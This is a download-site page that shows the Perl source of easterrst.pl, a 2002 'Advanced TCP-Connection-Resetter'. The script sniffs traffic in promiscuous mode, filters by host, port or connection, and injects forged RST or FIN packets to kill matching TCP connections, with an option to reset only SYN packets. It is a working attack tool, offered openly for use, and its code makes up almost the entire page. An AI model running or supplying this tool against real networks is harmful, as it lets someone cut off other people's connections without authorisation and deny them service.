⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 easterrst.pl

📁 一个rst守护程序
💻 PL
字号:
#!/usr/bin/perl# Advanced TCP-Connection-Resetter## Autor: stefan@krecher.de# TheMidget## Lizenz: GPL## Heavily updated by Bastian Ballmann [bytebeater@crazydj.de]## Last Update: 28.11.2002###############################################################################[ Loading Modules ]###use path::config;   # Checking configuse path::hijack;   # Hijacking stuffuse Getopt::Std;    # Parsing parameteruse Net::PcapUtils; # Sniffin around###[ MAIN PART ]#### User needs helpif($ARGV[0] eq "--help"){    &help();}# Starte die GUI Versionif($ARGV[0] eq "--gui"){    require "easterrst-gui.pl";}else{# Parsing parametergetopts('h:c:p:i:t:srf',\%args);&start(%args);}###[ Subroutines ]#### Start the processsub start{    my %args = @_;# Create a new config object    $cfg = config->new();# Config verarbeiten    $cfg->check(%args);# Achtung Werbung!!! =)unless($ARGV[0] eq "--gui"){    &about();}# Target und connection gleichzeit als Parameter angegebenif( (defined $args{'h'}) && (defined $args{'c'}) ){    &help('toomuch');}# Reset via FIN?if($args{'f'}){    $reset_flag = "fin";}else{    $reset_flag = "rst";}# Reset only SYN packets?if($args{s}){    $reset_syn = 1;}else{    $reset_syn = 0;}# GUI neu zeichnenif($ARGV[0] eq "--gui"){    $result->insert(end," * Started RST deamon\n");    $top->update();}# Create a pcap expression$pcap = $cfg->pcap();if($pcap ne ""){    $pcap .= "and tcp";}else{    $pcap = "tcp";}print "\n       Sniffing $pcap on " . $cfg->get_device . "\n";if($reset_syn){    print "       Resetting only SYN packets with $reset_flag packets\n\n";}else{    print "       Resetting all packets with $reset_flag packets\n\n";}# Sniffen!!! Gesundheit =)Net::PcapUtils::loop(\&process_pkt,                     PROMISC => 1,                      FILTER => $pcap,                     DEV => $cfg->get_device                    );}# Funktion "process_pkt($arg, $hdr, $pkt)" wird f黵 jedes# eingefangene Paket aufgerufensub process_pkt {  my($arg, $hdr, $pkt) = @_;# GUI neu zeichnenif($ARGV[0] eq "--gui"){    $top->update();}# Create a hijack object?if($connection){    $connection->update($pkt); }else{   $connection = hijack->new($pkt);}# Ist das Packet ein RST Packet?# Wir resetten kein RST, wir sind ja nicht bloed! =)unless($connection->check_flag($pkt,"rst")){    # Sollen nur SYN Pakete resettet werden?    if($reset_syn)    {	# Hat das Paket das SYN Flag gesetzt?	if($connection->check_flag($packet,"syn"))	{	    $connection->reset($reset_flag);	}    }    else    {	$connection->reset($reset_flag);    }}}# Print Usagesub help{    my $error = shift;    &about();if($error eq "toomuch"){    print ">>>  Please choose either target or connection!\n\n";}    print ">>> Usage: $0 -f -r -s -i <device> -p <port> -h <hosts> -c <connection>\n\n";    print "    -f: Reset connection via FIN packet\n";    print "    -r: Reset connection via RST packet (default)\n";    print "    -s: Reset only SYN packets\n";    exit(0);}# Print aboutsub about{# Achtung Werbung!!! =)system"/usr/bin/setterm -foreground green -background black -default";system"/usr/bin/clear";print "\n\n      ---------:[ Advanced TCP-Connection-Resetter\n";print "      ---:[ Programmed by Bastian Ballmann and Stefan Krecher\n";print "      " . "-" x 55 . "\n\n";}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -